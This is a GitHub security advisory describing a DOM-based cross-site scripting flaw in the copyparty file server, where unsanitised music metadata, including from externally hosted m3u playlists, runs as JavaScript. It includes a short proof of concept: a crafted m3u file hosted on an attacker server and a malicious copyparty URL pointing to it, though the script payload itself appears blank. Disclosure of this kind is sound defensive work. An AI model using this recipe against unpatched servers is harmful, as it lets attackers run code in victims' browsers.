GitHub Advisoryadvisory · PyPI
GHSA-9q4r-x2hj-jmvr copyparty has DOM-Based XSS vulnerability when displaying multimedia metadata
MEDIUM
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- Aliases
- CVE-2025-54423
- Ecosystem
- PyPI
- Packages
- copyparty
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
- Weaknesses
- CWE-79
- Reviewed
- 2025-07-28
Affected packages
• PyPI copyparty: < 1.18.5 → fixed in 1.18.5
Description
Summary
An unauthenticated attacker is able to execute arbitrary JavaScript code in a victim's browser due to improper sanitization of multimedia tags in music files, including `m3u` files.
Details
Multimedia metadata is rendered in the web-app without sanitization. This can be exploited in two ways:
• a user which has the necessary permission for uploading files can upload a song with an artist-name such as ``
• an unauthenticated user can trick another user into clicking a malicious URL, performing this same exploit using an externally-hosted m3u file
The CVE score and PoC is based on the m3u approach, which results in a higher severity.
PoC
1. Create a file named `song.m3u` with the following content. Host this file on an attacker-controlled web server.
```m3u
#EXTM3U
#EXTINF:1,"> - ">
http://example.com/audio.mp3
```
2. Craft and share the malicious URL:
```
http://127.0.0.1:3923/#m3u=https://example.com/song.m3u
```
Impact
Any user that accesses this malicious URL is impacted.
Related
Alias · CVE (1)
- CVE-2025-54423 copyparty is a portable file server. vulnerability
Weakness · CWE (1)
- CWE-79 Improper Neutralization of Input During Web Page Generation weakness
References
- https://github.com/9001/copyparty/security/advisories/GHSA-9q4r-x2hj-jmvr web
- https://nvd.nist.gov/vuln/detail/CVE-2025-54423 advisory
- https://github.com/9001/copyparty/commit/895880aeb0be0813ddf732487596633f8f9fc3a6 web
- https://github.com/9001/copyparty package
- https://github.com/9001/copyparty/releases/tag/v1.18.5 web